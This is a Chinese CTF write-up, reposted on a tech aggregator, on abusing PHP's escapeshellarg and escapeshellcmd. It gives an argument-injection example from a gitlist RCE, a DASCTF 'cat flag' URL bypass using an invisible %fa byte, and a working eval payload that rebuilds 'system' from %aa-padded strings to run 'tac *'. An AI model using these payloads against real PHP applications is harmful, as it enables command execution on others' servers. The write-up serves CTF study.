IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 浅谈CTF中escapeshellarg的利用 -> 正文阅读

[PHP知识库]浅谈CTF中escapeshellarg的利用

浅谈 escapeshellarg 的利用

0 前言

escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)

在 CTF 可能被用于:

  • 参数注入(开发人员错误的使用 escapeshellarg 函数)
  • 逃逸字符(该函数非二进制安全)

1 参数注入

基本用法:

<?php

echo escapeshellarg('Hello');
// 输出值为:'Hello'
echo escapeshellarg('Hello\'');
// 输出值为:'Hello'\'''(在命令行使用 echo 'Hello'\''',只会输出 Hello')

即前言所说,会把字符串转码为 shell 中的参数。

这里摘录p牛的文章《谈escapeshellarg绕过与参数注入漏洞》中的几句关键的话

  • 这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
  • 单引号并不是区分一个字符串是“参数值”或“选项”的标准。

我们需要先理解一下“参数值”和“参数选项”。下面:

21:42:46 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -name 
cat: invalid option -- 'a'
Try 'cat --help' for more information.
# 注意上面是 -- 'a',因为命令行在进行分析的时候,-n 被识别为 option

21:44:00 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat --name
cat: unrecognized option '--name'
Try 'cat --help' for more information.

21:44:07 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat name  
cat: name: No such file or directory

-----------------------------------------------------------------
21:44:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -abc  
cat: invalid option -- 'a'
Try 'cat --help' for more information.

21:47:04 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat --abc
cat: unrecognized option '--abc'
Try 'cat --help' for more information.

21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat abc  
cat: abc: No such file or directory

Linux 中通常使用 - 或者 -- 来作为选项(Option)的标识符,而没有 abc 则回被作为参数值。当然也可以取消这种差异,在参数前使用 --,如下所示:

21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat abc  
cat: abc: No such file or directory

21:47:23 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -- --abc
cat: --abc: No such file or directory

在了解“参数”和“选项”后,我们可知在命令后使用 escapeshellarg 并不能阻止命令执行(参数和选项并不依靠单引号)。如 gitlist 0.6.0远程命令执行漏洞,下面是该项目在执行过程中生成的命令:

git grep -i --line-number -e '--open-files-in-pager=id;' master
# 其中 --open-files-in-pager 的参数会被执行。

escapeshellarg 可以逃逸并达到执行命令的关键:

  • 函数参数可控
  • 执行的命令中有执行命令的选项(类似 “–open-files-in-pager=id;” 的等号形式)

感觉利用条件还是非常苛刻的。

2 逃逸字符

2.1 cat flag

在 2021 DASCTF 的 《cat flag》题目中,有考察到这个知识点。题目源码:

<?php

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        system('cat ' . $cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

通过 hint 可知,flag 在this_is_final_flag_e2a457126032b42d.php 文件中(访问 /var/log/nginx/access.log 可知,感觉这里脑洞挺大的,没啥意思,重点在后面)。

文件名 this_is_final_flag_e2a457126032b42d.php 中含有 flag 关键字,这里怎么来读取呢?我想不出来了,看 ha1c9on 师傅的题解《DASCTF 2021.07》,但感觉他的解释有点牵强,不知道他是怎么想到的……ha1c9on 师傅说是做题做多了,直觉,膜。

先读nginx日志 /var/log/nginx/access.log

/this_is_final_flag_e2a457126032b42d.php

然后unicode绕一下flag正则/?cmd=this_is_final_fl%faag_e2a457126032b42d.php

(这里的 %fa 不是 unicode,是不可见字符。是Windows-1252字符集中的编码,传送门

我看了下 PHP 的源码(不是很看得懂),但 PHP 源码中指明了“该函数非二进制安全”,该函数在处理字符串时,重新申请了内存空间,并对字符逐个处理,应该是没有对不可见字符进行处理,从而导致了不可见字符消失。

2.2 freepoint

在昨天的 2021 年 BSides Noida CTF 比赛中,我无意间也想到了利用这种方法来绕过正则的检测。在这里简化一下题目。

<?php

$payload = '';
$code = urldecode($payload);

function filter($str)
{
    if (preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i", $str)) {
        return false;
    } else {
        return true;
    }
}

if (filter($code) == 1) {
    eval($code . ";");
} else {
    die("18cm30p !! :< ");
}

在题目中过滤了很多命令执行的函数。还有两段比较关键的正则\'[a-z]\"[a-z0-9],也就是字母无法和引号接触。

通常这种正则的绕过,都是采用编码转义的方式来绕过的。

  1. 不可见字符又可以让 preg _match 函数中的正则检测失效
  2. escapeshellcmd又可以将不可见字符消除
  3. 最终 eval 能执行正常的字符串。

这里可以写一个小 demo 来进行测试:

<?php

echo escapeshellcmd(urldecode('%aasy%aastem%aa'));
// 输出:system

?>

最后得到 Payload 为:

eval(sprintf('%s%s%s%s%s', escapeshellcmd(urldecode('%aasys%aatem%aa')), '(\'',escapeshellcmd(urldecode('%aatac')), ' *' ,'\');'))
// tac *
// 注意:* 等特殊字符不能放在 escapeshellcmd 中。

3 总结

escapeshellarg 利用的关键点:

  • 参数注入:当开发人员错误的使用,可能导致代码执行。
  • 代码执行:去掉字符串中的不可见字符。
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-10 13:12:35  更:2021-08-10 13:13:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/17 17:38:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码